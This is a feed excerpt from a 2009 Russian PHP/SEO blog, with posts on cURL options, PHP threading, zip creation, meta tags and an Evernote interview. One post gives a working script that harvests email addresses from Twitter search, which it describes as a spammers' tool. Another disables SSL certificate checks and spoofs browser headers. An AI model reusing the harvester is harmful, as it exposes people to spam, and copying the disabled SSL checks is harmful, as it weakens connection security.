<p><strong>CURLOPT_USERAGENT </strong>— позволяет передавать строку, содержащую заголовок &#171;user-agent&#187;, используемый в запросах HTTP.</p>
<p><strong>CURLOPT_FTPPORT </strong>— позволяет передавать строку, содержащую значение IP- адреса, используемого инструкцией POST для подключения к удаленному серверу FTP. Эта строка может содержать простой IP-адрес, имя хоста или имя сетевого интерфейса (под UNIX), или даже символ ?, указывающий системный адрес IP, используемый по умолчанию.</p>
<p><strong>CURLOPT_COOKIE </strong>— позволяет передать строку с содержимым cookie, который будет отправлен в заголовке HTTP.</p>
<p><strong>CURLOPT_SSLCERT </strong>— позволяет передать строку с именем файла, содержащего SSL-сертификат формата PEM.</p>
<p><strong>CURLOPT_SSLCERTPASSWD </strong>— позволяет передать строку с паролем, необходимым для использования сертификата, указанного параметром <strong>CURLOPT_SSLCERT</strong>.</p>
<p><strong>CURLOPT_COOKIEFILE </strong>— позволяет передать строку с именем файла, содержащего данные cookie. Этот файл должен быть в формате Netscape или в виде простого заголовка HTTP, сохраненного в файле.</p>
<p><strong>CURLOPT_CUSTOMREQUEST </strong>— позволяет передать строку, которая будет использоваться вместо HTTP запроса GET или HEAD. Этот механизм можно использовать при выполнении устаревшего запроса HTTP, например DELETE. Не стоит использовать эту возможность, не выяснив предварительно, поддерживает ли сервер указанную команду.</p>
<p>Для следующих возможных значений аргумента option соответствующее значение value должно указываться дескриптором, полученным от функции fopen().</p>
<p><strong>CURLOPT_FILE </strong>— указывается файл, в котором следует сохранять полученные данные. По умолчанию используется стандартный поток вывода stdout.<br />
<strong>CURLOPT_INFILE </strong>— задается файл, из которого следует получать данные для передачи.<br />
<strong>CURLOPT_WRITEHEADER </strong>— указывается файл для записи содержимого заголовков.<br />
<strong>CURLOPT_STDERR </strong>— указывается файл для сохранения результатов ошибок вместо использовавшегося ранее потока stderr.</p>
<p><strong>Пример:</strong><br />
вот такой функцией например  забираем содержимое страницы с учетом кукисов</p>
<p>function get_page($url) {<br />
                       //путь куда сохраняем файл с куками<br />
		       $user_cookie_file = &#8216;cookies.txt&#8217;;<br />
		       $ch = curl_init($url);<br />
		       curl_setopt($ch, CURLOPT_URL,$url);<br />
		       curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);<br />
                       //&#8212; маскируемся под браузер<br />
		       curl_setopt($ch, CURLOPT_USERAGENT, &#171;Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)&#187;);<br />
		      //куки<br />
                      curl_setopt($ch, CURLOPT_COOKIEFILE, $user_cookie_file);<br />
                       //куки<br />
		       curl_setopt($ch, CURLOPT_COOKIEJAR,  $user_cookie_file); </p>
<p>		       $html = curl_exec($ch);<br />
		       curl_close($ch);<br />
		       return $html; //Возвращаем результат<br />
		}</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/20/curl-spravka/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>phpThread  многопоточные  PHP приложения</title>
		<link>http://saintist.ru/2009/05/20/phpthread-mnogopotochnye-php-prilozheniya/</link>
		<comments>http://saintist.ru/2009/05/20/phpthread-mnogopotochnye-php-prilozheniya/#comments</comments>
		<pubDate>Wed, 20 May 2009 06:24:49 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=374</guid>
		<description><![CDATA[Столкнулся с задачей написания приложения которое делало бы несколько операций одновременно из одного скрипта PHP. Нашел решение позволяющее: 1. Когда скрипт медленно получает данные и растёт время простоя. При выводе сложного графика можно одним потоком получать данные из СУБД (выполняется ресурсоемкий запрос), а во втором потоке производить отрисовку. 2. Когда нужно выполнить несколько задач, и [...]]]></description>
			<content:encoded><![CDATA[<p>Столкнулся с задачей написания приложения которое делало бы несколько операций одновременно из  одного скрипта PHP.</p>
<p>Нашел   решение позволяющее:</p>
<p>1. Когда скрипт медленно получает данные и растёт время простоя. При выводе сложного графика можно одним потоком получать данные из СУБД (выполняется ресурсоемкий запрос), а во втором потоке производить отрисовку.<br />
<span id="more-374"></span><br />
2. Когда нужно выполнить несколько задач, и более эффективно задействовать процессор.</p>
<p>Можно воспользоваться запуском нескольких копий скрипта, либо же использовал pcntl на более низком уровне, чем хотелось бы.</p>
<p>Пример:<br />
<?php<br />
include 'thread.class.php';<br />
include 'threadCollection.class.php';<br />
class MyThread extends Thread<br />
{<br />
public function run()<br />
{<br />
 for (;;)<br />
 {<br />
  echo date('r')."\n";<br />
  if (!$this->sleep(2)) {return;}<br />
 }<br />
}<br />
}<br />
echo &#171;Starting&#8230;\n&#187;;<br />
$threads = new threadCollection;<br />
for ($i = 0; $i < 5; ++$i) {$threads->push(new MyThread);}<br />
$threads->start();<br />
echo &#171;Doing pseudo-job (sleep for 5 seconds)&#8230;\n&#187;;<br />
sleep(5);<br />
echo &#171;Pseudo-job in master done. Stopping and waiting&#8230;\n&#187;;<br />
$threads->stop();<br />
$threads->wait();</p>
<p>* This source code was highlighted with Source Code Highlighter.<br />
Этот незамысловатый код создает 5 чаилдов, ждет 5 секунд, а потом их останавливает.</p>
<p>Забрать можно здесь — code.google.com/p/phpthread/<br />
Проект  прекрасно работает.</p>
<p>Брать можно отсюда <a href="http://code.google.com/p/phpthread/">http://code.google.com/p/phpthread/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/20/phpthread-mnogopotochnye-php-prilozheniya/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SEO Яндекс и meta теги (DESCRIPTION  KEYWORDS контент)</title>
		<link>http://saintist.ru/2009/05/19/seo-yandex-i-meta-tegi-description-keywords-kontent/</link>
		<comments>http://saintist.ru/2009/05/19/seo-yandex-i-meta-tegi-description-keywords-kontent/#comments</comments>
		<pubDate>Tue, 19 May 2009 18:44:02 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[Яндекс]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=367</guid>
		<description><![CDATA[Многие оптимизаторы считают , что теги уже не так влияют на поисковики, как ранее, однако, для Яндекса, они досихпор довольно важны. Итак&#8230; DESCRIPTION : Начинка этого тега очень часто берётся поисковой системой для описания сайта в результатах поиска. &#60; meta content=&#187;" name=DESCRIPTION &#62;- здесь лежит описание сайта для поисковых систем. - Чем ближе к началу [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/05/meta-tag-description.jpg"><img class="size-medium wp-image-369 aligncenter" title="сладкий сеопультенок" src="http://saintist.ru/wp-content/uploads/2009/05/meta-tag-description-300x300.jpg" alt="meta-tag-description" width="300" height="300" /></a></p>
<p>Многие оптимизаторы считают , что теги уже не так влияют на поисковики, как ранее, однако, для Яндекса, они досихпор довольно важны. Итак&#8230;</p>
<p><strong>DESCRIPTION :</strong></p>
<p>Начинка этого тега очень часто берётся поисковой системой для описания сайта в результатах поиска.<br />
<span id="more-367"></span></p>
<p>&lt; meta content=&#187;" name=DESCRIPTION &gt;- здесь лежит описание сайта для поисковых систем.</p>
<p>- Чем ближе к началу страницы находится самое важное ключевое слово, тем лучше.</p>
<p>- Нужно указывать информацию, которая отражает содержимое страницы.</p>
<p>- Не стоит повторять одну и туже фразу более двух раз.</p>
<p><strong>KEYWORDS :</strong></p>
<p>У сайта есть набор слов, по которому ищут подобные ресурсы в сети. Именно эти слова и должны составить содержимое тега KEYWORDS .</p>
<p>Самый простой способ подбора ключевых слов определить, по каким словам сами станете искать целевой сайт? Это и будут ключевые слова.</p>
<p>&lt; meta content=&#187;" name=KEYWORDS &gt;- это ключевые слова, по которым поисковик будет искать сайт.</p>
<p>Порядок занесения  такой же, что и у DESCRIPTION,  самое важное слово в начале и также в этом теге желательно указывать ключевые слова, которые присутствуют в самом документе.</p>
<p>- Лучше всего когда слова совпадаю в двух этих тегах.</p>
<p><strong>О контент.</strong></p>
<p>Контент &#8212; текстовое содержание страницы.</p>
<p>Здесь нужно в информации, которая размещена на странице использовать как можно больше важных ключевых слов, но также излишнее количество ключевых слов может быть оценено поисковыми системами, как поисковый спам.</p>
<p>Для получения более высокого результата при индексации, нужно чтобы ключевые слова использовались в тексте с частотой приблизительно 5-7% от всего контента страницы.</p>
<p>Самую большую роль для большинства поисковых систем играют заголовки , созданные при помощи тегов <strong>h1</strong> &#8212; <strong>h5</strong>, причем, размещённые как можно ближе к началу страницы. Помимо этого, очень хорошим методом влияния на результат является заключение ключевых слов или фраз в теги форматирования, а именно: <strong>b</strong>, <strong>strong</strong>, <strong>i</strong> и т.д.</p>
<p>Как показывает практика – подбор, адаптация, создание и</p>
<p>оптимизация контента – это самая трудоёмкая и долгосрочная работа при продвижении сайта, но на этом этапе закладывается основа будущего успеха.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/19/seo-yandex-i-meta-tegi-description-keywords-kontent/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Как индексирует сайт Google?</title>
		<link>http://saintist.ru/2009/05/19/kak-indeksiruet-sajt-google/</link>
		<comments>http://saintist.ru/2009/05/19/kak-indeksiruet-sajt-google/#comments</comments>
		<pubDate>Tue, 19 May 2009 18:04:59 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Google]]></category>
		<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=361</guid>
		<description><![CDATA[1) Google индексировать весь сайт сразу, или постепенно? Google будет индексировать новый веб-сайт постепенно. Так с большинством сайтов. Однако скорость, с которой Google будет индексировать все внутренние страницы,зависит от различных факторов. Если высокий уровень доверия и есть соответствующие обратные ссылки, а также присутствует эффективная внутренняя структура ссылок, то все внутренние страницы будут получать быстрое проиндексирование. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="h/wp-content/uploads/2009/05/google-index1.jpg"><img src="/wp-content/uploads/2009/05/google-index1-300x192.jpg" alt="google-index1" title="google-index1" width="300" height="192" class="alignnone size-medium wp-image-363" /></a></p>
<p>1) <strong>Google индексировать весь сайт сразу, или постепенно? </strong></p>
<p>Google будет индексировать новый веб-сайт постепенно. Так с большинством сайтов. Однако скорость, с которой Google будет индексировать все внутренние страницы,зависит от различных факторов.<br />
<span id="more-361"></span><br />
Если высокий уровень доверия  и есть соответствующие обратные ссылки, а также присутствует эффективная внутренняя структура ссылок, то все внутренние страницы будут получать быстрое проиндексирование.<br />
Если,  очень мало обратных ссылок, и слабая ссылочная структура, индексация может занять некоторое время, прежде чем получите полное индексирование всех страниц.</p>
<p>При использовании ручной подачи URL для Google будет иметь небольшое влияние на скорость и полноту индексации вашего сайта. Рекомендуют для быстрой индексации не использовать эту функцию и сосредоточить свои усилия на получении некоторых надежных обратных ссылок на сайт.</p>
<p>2) <strong>Google использует  метки NOINDEX и страницы 404 при индексации? Если архивы страниц, которые проиндексировались, я закрыл тегом “NOINDEX&#187;. Будет ли Google удалять эти страницы, после того, как вновь просканирует мой сайт?</strong></p>
<p>Google будет устранять эти проблемы. Новый сайт не будет сканироваться часто. Google узнает о метках “NOINDEX” и будет удалять эти страницы из индекса.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/19/kak-indeksiruet-sajt-google/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>evernote   Степан Пачиков &#171;Развить идею в стартап&#187;</title>
		<link>http://saintist.ru/2009/05/19/evernote-idea-startup/</link>
		<comments>http://saintist.ru/2009/05/19/evernote-idea-startup/#comments</comments>
		<pubDate>Tue, 19 May 2009 05:48:54 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[notes]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=358</guid>
		<description><![CDATA[Интервью на радио точка — Скажите, сможете ли вы рассказать об Evernote за 30 секунд? — Evernote – это сервис, который позволяет вам запоминать в любой момент времени различную информацию и делает ее всегда доступной, где бы вы не находились и каким бы устройством не пользовались. Evernote позволяет искать данные по множеству косвенных признаков – [...]]]></description>
			<content:encoded><![CDATA[<p><OBJECT width="470" height="353"><PARAM name="movie" value="http://video.rutube.ru/bab930b81406ee3dd55d278bfe21caaa"></PARAM><PARAM name="wmode" value="window"></PARAM><PARAM name="allowFullScreen" value="true"></PARAM><PARAM name="flashVars" value="uid=987"></PARAM><EMBED src="http://video.rutube.ru/bab930b81406ee3dd55d278bfe21caaa" type="application/x-shockwave-flash" wmode="window" width="470" height="353" allowFullScreen="true" flashVars="uid=987"></EMBED></OBJECT><br />
Интервью на радио точка </p>
<p><span id="more-358"></span></p>
<p><strong>— Скажите, сможете ли вы рассказать об Evernote за 30 секунд?</strong><br />
— Evernote – это сервис, который позволяет вам запоминать в любой момент времени различную информацию и делает ее всегда доступной, где бы вы не находились и каким бы устройством не пользовались. Evernote позволяет искать данные по множеству косвенных признаков – например, найти записку, сделанную на салфетке в кафе в Париже, написанную от руки по-русски. Бизнес-модель очень проста – это базово-бесплатный сервис, зарабатывать на котором планируется в несколько этапов. Во-первых, мы собираемся предлагать тем, кто превышает трафик, платить за это превышение. Также источником прибыли мы планируем сделать адресную рекламу. </p>
<p><strong>— Чем ангелы отличаются от венчурных фондов и венчурных капиталистов?</strong><br />
— Венчурные капиталисты отличаются от венчурных фондов тем, что являются просто сотрудниками этих фондов (Смеется). Венчурные фонды – это деньги из различных источников: частных инвесторов, организаций. Ангелы же используют свои деньги. Как правило, если ангел дает вам деньги, то он ждет, когда они к нему вернутся, и не вмешивается в процесс построения фирмы. В свою очередь, венчурный капиталист будет внимательно следить, как эти деньги тратятся, что происходит в фирме и когда нужно вмешаться, чтобы сменить руководство фирмой. Это такие иногда назойливые помощники.<br />
Еще одна особенность, связанная с некоторыми венчурными фондами: если они чувствуют, что запахло паленым, они пытаются спасти свои деньги, а не вас (Смеется). </p>
<p><strong>— Какие стартапы вам нравятся, и как бы вы сделали стартап сейчас, если бы у вас не было средств для его реализации?</strong><br />
— Мой личный подход к организации стартапов менялся с возрастом, на разных этапах жизни я бы по-разному развивал идеи. Вот, предположим, сейчас у меня есть хорошая идея. И, предположим, я собираюсь найти под нее деньги, отдав за это какую-то, возможно, большую часть, потому что, если я не успею реализовать идею за пару лет, ее реализует кто-нибудь другой. Вообще же для меня лично, самое сложное в создании стартапа – набрать профессиональную, нетривиальную команду. Идей у меня много, и рынка я не боюсь.<br />
<strong><br />
— Как рассчитать капитализацию компании-стартапа при продаже?</strong><br />
— Универсального способа не существует. И у покупателя, и продавца взгляд на это разный. Например, когда мы недавно оценивали одну компанию, приходилось долго спорить, что принимать в расчет: прибыль или доход за несколько лет. Надо заметить, что, как правило, при расчете капитализации компании принимается во внимание ее будущая, прогнозируемая стоимость. Вообще же, расчет капитализации – серьезная штука. Это, скорее, искусство, чем наука. </p>
<p><strong>— Какие идеи вы считаете наиболее перспективными и популярными для стартапов на сегодняшний день?</strong><br />
— Вы все сегодня читаете Интернет и прессу, слушаете новости и разбираетесь в этом не хуже меня. По-моему, это все, что касается генетики, молекулярной биологии. В области интернет-технологий также много всего. Просто смотрите, что происходит сегодня на рынке, в индустрии, в технологиях, что делает сегодня тот же Google в области мобильных телефонов, и улавливайте тенденции. Я считаю, что дни обычных компьютеров сочтены, и человек с ноутбуком в скором будущем будет выглядеть так, как сейчас выглядит человек с факсом.</p>
<p><a href="http://www.evernote.com/">http://www.evernote.com/<strong> — Сервис заметок с программами для Windows, Mac OS X, Windows Mobile (кпк, iPhone, Blackbery, расширением под Мозиллу, позволяющими оставлять заметки с компьютера, телефона, или любимого браузера не заходя на сайт. Говорят, что можно даже  распознавать текст с фото.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/19/evernote-idea-startup/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>создать zip  средствами php</title>
		<link>http://saintist.ru/2009/05/15/zip-sredstvami-php/</link>
		<comments>http://saintist.ru/2009/05/15/zip-sredstvami-php/#comments</comments>
		<pubDate>Fri, 15 May 2009 21:13:11 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=352</guid>
		<description><![CDATA[Столкнулся с задачей упаковки файлов в архив через скрипт . Выбор остановился на php. Ниже приведен класс реализующий обозначенную задачу. class zipfile { var $datasec = array(); var $ctrl_dir = array(); var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; var $old_offset = 0; function add_dir($name) { $name = str_replace("\\", "/", $name); $fr = "\x50\x4b\x03\x04"; $fr .= "\x0a\x00"; $fr .= [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"> <a href="http://saintist.ru/wp-content/uploads/2009/05/zip.jpg"><img class="size-full wp-image-353 aligncenter" title="zip" src="http://saintist.ru/wp-content/uploads/2009/05/zip.jpg" alt="zip" width="111" height="111" /></a></p>
<p>Столкнулся с задачей упаковки файлов в архив через  скрипт . Выбор остановился на php. Ниже приведен  класс реализующий обозначенную задачу.</p>
<p><span id="more-352"></span></p>
<pre>
class zipfile

{

    var $datasec = array();

    var $ctrl_dir = array();

    var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";

    var $old_offset = 0;

    function add_dir($name)

    {

        $name = str_replace("\\", "/", $name);

        $fr = "\x50\x4b\x03\x04";

        $fr .= "\x0a\x00";

        $fr .= "\x00\x00";

        $fr .= "\x00\x00";

        $fr .= "\x00\x00\x00\x00";

        $fr .= pack("V",0);

        $fr .= pack("V",0);

        $fr .= pack("V",0);

        $fr .= pack("v", strlen($name) );

        $fr .= pack("v", 0 );

        $fr .= $name;

        $fr .= pack("V",$crc);

        $fr .= pack("V",$c_len);

        $fr .= pack("V",$unc_len);

        $this -&gt; datasec[] = $fr;

        $new_offset = strlen(implode("", $this-&gt;datasec));

        $cdrec = "\x50\x4b\x01\x02";

        $cdrec .="\x00\x00";

        $cdrec .="\x0a\x00";

        $cdrec .="\x00\x00";

        $cdrec .="\x00\x00";

        $cdrec .="\x00\x00\x00\x00";

        $cdrec .= pack("V",0);

        $cdrec .= pack("V",0);

        $cdrec .= pack("V",0);

        $cdrec .= pack("v", strlen($name) );

        $cdrec .= pack("v", 0 );

        $cdrec .= pack("v", 0 );

        $cdrec .= pack("v", 0 );

        $cdrec .= pack("v", 0 );

        $ext = "\x00\x00\x10\x00";

        $ext = "\xff\xff\xff\xff";

        $cdrec .= pack("V", 16 );

        $cdrec .= pack("V", $this -&gt; old_offset );

        $this -&gt; old_offset = $new_offset;

        $cdrec .= $name;

        $this -&gt; ctrl_dir[] = $cdrec;

    }

    function add_file($data, $name)

    {

        $name = str_replace("\\", "/", $name);

        $fr = "\x50\x4b\x03\x04";

        $fr .= "\x14\x00";

        $fr .= "\x00\x00";

        $fr .= "\x08\x00";

        $fr .= "\x00\x00\x00\x00";

        $unc_len = strlen($data);

        $crc = crc32($data);

        $zdata = gzcompress($data);

        $zdata = substr( substr($zdata, 0, strlen($zdata) - 4), 2); // fix crc bug

        $c_len = strlen($zdata);

        $fr .= pack("V",$crc);

        $fr .= pack("V",$c_len);

        $fr .= pack("V",$unc_len);

        $fr .= pack("v", strlen($name) );

        $fr .= pack("v", 0 );

        $fr .= $name;

        $fr .= $zdata;

        $fr .= pack("V",$crc);

        $fr .= pack("V",$c_len);

        $fr .= pack("V",$unc_len);

        $this -&gt; datasec[] = $fr;

        $new_offset = strlen(implode("", $this-&gt;datasec));

        $cdrec = "\x50\x4b\x01\x02";

        $cdrec .="\x00\x00";

        $cdrec .="\x14\x00";

        $cdrec .="\x00\x00";

        $cdrec .="\x08\x00";

        $cdrec .="\x00\x00\x00\x00";

        $cdrec .= pack("V",$crc);

        $cdrec .= pack("V",$c_len);

        $cdrec .= pack("V",$unc_len);

        $cdrec .= pack("v", strlen($name) );

        $cdrec .= pack("v", 0 );

        $cdrec .= pack("v", 0 );

        $cdrec .= pack("v", 0 );

        $cdrec .= pack("v", 0 );

        $cdrec .= pack("V", 32 );

        $cdrec .= pack("V", $this -&gt; old_offset );

         echo "old offset is ".$this-&gt;old_offset.", new offset is $new_offset"  ;

        $this -&gt; old_offset = $new_offset;

        $cdrec .= $name;

        $this -&gt; ctrl_dir[] = $cdrec;

    }

    function file() {

        $data = implode("", $this -&gt; datasec);

        $ctrldir = implode("", $this -&gt; ctrl_dir);

        return

            $data.

            $ctrldir.

            $this -&gt; eof_ctrl_dir.

            pack("v", sizeof($this -&gt; ctrl_dir)).

            pack("v", sizeof($this -&gt; ctrl_dir)).

            pack("V", strlen($ctrldir)).

            pack("V", strlen($data)).

            "\x00\x00";

    }

}
</pre>
<p><strong>Пример работы кода:</strong></p>
<pre>
//--  создаем объект
$zipfile = new zipfile();
//-- добавляем в архив  директорию
$zipfile -&gt; add_dir('/js');
//-- добавляем  в архив  файл
$zipfile -&gt; add_file(file_get_contents('/css/style.css'),'/css/style.css');
//-- создаем архив
$var = $zipfile -&gt; file();
</pre>
<p>если отправить нужный заголовок  например вот так</p>
<pre>
header("Content-type: application/octet-stream");
header("Content-disposition: attachment; filename=archive.zip");
</pre>
<p>а потом  сделать вывод содержимого архива</p>
<p>echo $var;</p>
<p>то получим файл  нашего архива</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/15/zip-sredstvami-php/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Robot Drengene</title>
		<link>http://saintist.ru/2009/05/15/robot-drengene/</link>
		<comments>http://saintist.ru/2009/05/15/robot-drengene/#comments</comments>
		<pubDate>Fri, 15 May 2009 11:14:58 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[YouTube и нетолько]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=349</guid>
		<description><![CDATA[просто супер]]></description>
			<content:encoded><![CDATA[<p><object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/W1052h2rzoA&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/W1052h2rzoA&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object></p>
<p>просто супер</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/15/robot-drengene/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Сбор email Twitter пользователей</title>
		<link>http://saintist.ru/2009/05/14/parse-email-twitter/</link>
		<comments>http://saintist.ru/2009/05/14/parse-email-twitter/#comments</comments>
		<pubDate>Thu, 14 May 2009 19:45:57 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[уязвимости]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=343</guid>
		<description><![CDATA[Спамеры с помощью простенького скрипта собирают email пользователей twetter/ Стоит пользователю зарегистрироваться , как через минут 20 он начинает получать спам рассылку]]></description>
			<content:encoded><![CDATA[<p>Спамеры с помощью простенького скрипта собирают email  пользователей twetter/ Стоит пользователю зарегистрироваться , как через  минут 20  он начинает получать спам рассылку</p>
<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/05/twitter.png"><img class="size-full wp-image-344 aligncenter" title="twitter" src="http://saintist.ru/wp-content/uploads/2009/05/twitter.png" alt="twitter" width="210" height="49" /></a></p>
<p><span id="more-343"></span><br />
<code><?php<br />
$file = file_get_contents("http://search.twitter.com/search?q=gmail.com+OR+hotmail.com++OR+%22email+me%22");<br />
$file = strip_tags($file);</p>
<p>preg_match_all(<br />
"([a-z0-9!#$%&amp;'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&amp;'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+(?:[A-Z]{2}|com|org|net|gov|mil|biz|info|mobi|name|aero|jobs|museum)\b)siU",<br />
$file,<br />
$matches);</p>
<p>print_r($matches);<br />
?></code></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/14/parse-email-twitter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CURL получаем / отдаем заголовки</title>
		<link>http://saintist.ru/2009/05/14/curl-header-load-send/</link>
		<comments>http://saintist.ru/2009/05/14/curl-header-load-send/#comments</comments>
		<pubDate>Thu, 14 May 2009 17:22:30 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=336</guid>
		<description><![CDATA[Часто бывает необходимо при парсинге прочитать передаваемые целевой страницей куки и заголовки, lzk последующего их использования. Написал функцию, которая позволяет это делать. Ниже приведен пример с комментариями, базируясь на котором можно собрать код нужной функциональности: //$url=имя хоста, куда будем заходить function load_page($url){ $cookies=array(); // имя хоста, откуда якобы пришли, некоторые проверяют $ref="google.com"; // инициализация cURL [...]]]></description>
			<content:encoded><![CDATA[<p>Часто бывает необходимо при парсинге прочитать передаваемые целевой страницей куки и заголовки, lzk последующего их использования.</p>
<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/05/parsing.jpg"><img class="size-medium wp-image-337 aligncenter" title="parsing" src="http://saintist.ru/wp-content/uploads/2009/05/parsing-300x275.jpg" alt="parsing" width="300" height="275" /></a></p>
<p>Написал функцию, которая позволяет это делать. Ниже приведен пример с комментариями, базируясь на котором можно собрать код нужной функциональности:</p>
<p><span id="more-336"></span></p>
<pre>
//$url=имя хоста, куда будем заходить

function load_page($url){

$cookies=array();

// имя хоста, откуда якобы пришли, некоторые проверяют

$ref="google.com";

// инициализация cURL

$ch = curl_init($url);

//-- откуда пришли )

curl_setopt($ch, CURLOPT_REFERER, $ref);

// чтобы выводил заголовки

curl_setopt ($ch, CURLOPT_HEADER, 1);

// чтобы не выводил саму страницу (она не нужна)

curl_setopt ($ch, CURLOPT_NOBODY, 1);

// если ведется проверка HTTP User-agent, то передаем один из возможных допустимых вариантов:

curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8');

// если проверятся откуда пришел пользователь, то указываем допустимый заголовок HTTP Referer:

curl_setopt ($ch, CURLOPT_REFERER, 'http://'.$hostname.'/');

// возвращать результат работы

curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);

// не проверять SSL сертификат

curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);

// не проверять Host SSL сертификата

curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);

// это необходимо, чтобы cURL не высылал заголовок на ожидание

curl_setopt ($ch, CURLOPT_HTTPHEADER, array('Expect:'));

// выполнить запрос

curl_exec ($ch);

$t=curl_multi_getcontent ($ch);

curl_close ($ch);

// получил массив всех заголовков от сервера
$ret = curl_getinfo($ch);
	if($ret &#038;&#038; isset($ret['content_type']) &#038;&#038; $ret['content_type']!=null)
	{
	    preg_match("|Content-Type: .*?charset=(.*)\n|imsU", $t, $matches);
	    if(!empty($matches[1]))
	    {
		$ret['charset'] =$matches[1];
	    }
	}
return $ret;

}
</pre>
<p>Функция вернет массив заголовков</p>
<p>чтото вроде</p>
<pre>
Array
(
    [url] => http://www.le****rms/
    [content_type] => text/html; charset=windows-1251
    [http_code] => 200
    [header_size] => 189
    [request_size] => 201
    [filetime] => -1
    [ssl_verify_result] => 0
    [redirect_count] => 0
    [total_time] => 0,123534
    [namelookup_time] => 1,8E-5
    [connect_time] => 0,060704
    [pretransfer_time] => 0,060706
    [size_upload] => 0
    [size_download] => 0
    [speed_download] => 0
    [speed_upload] => 0
    [download_content_length] => -1
    [upload_content_length] => 0
    [starttransfer_time] => 0,123504
    [redirect_time] => 0
    [certinfo] => Array
        (
        )

    [redirect_url] =>
    [charset] => windows-1251
)
</pre>
<p>если необходимо при получении контента передать какие либо параметры, например куки передаются вот так</p>
<p>curl_setopt($ch, CURLOPT_COOKIE, $value);</p>
<p>$value соответственно где то заранее хранится</p>
<p><strong>ps: помогает очень при  ситуации когда глючит функция определения кодировки страницы</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/14/curl-header-load-send/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Восприятие поиска</title>
		<link>http://saintist.ru/2009/05/14/vospriyatie-poiska/</link>
		<comments>http://saintist.ru/2009/05/14/vospriyatie-poiska/#comments</comments>
		<pubDate>Thu, 14 May 2009 07:47:16 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Google]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Реклама]]></category>
		<category><![CDATA[Юзабилити]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=334</guid>
		<description><![CDATA[Исследование восприятия поиска Компания USABILITYLAB совместно с интернет-агентством PRIOR.ru и компанией «Ашманов и партнеры» провела исследование целью которого ставилось определить куда смотрит и что видит пользователь при работе с поисковыми системами (Google, Yandex, Rambler, GoGo).]]></description>
			<content:encoded><![CDATA[<p>Исследование восприятия поиска<br />
Компания USABILITYLAB совместно с интернет-агентством PRIOR.ru и компанией «Ашманов и партнеры» провела исследование целью которого ставилось  определить куда смотрит и что видит пользователь  при работе с поисковыми системами (Google, Yandex, Rambler, GoGo).</p>
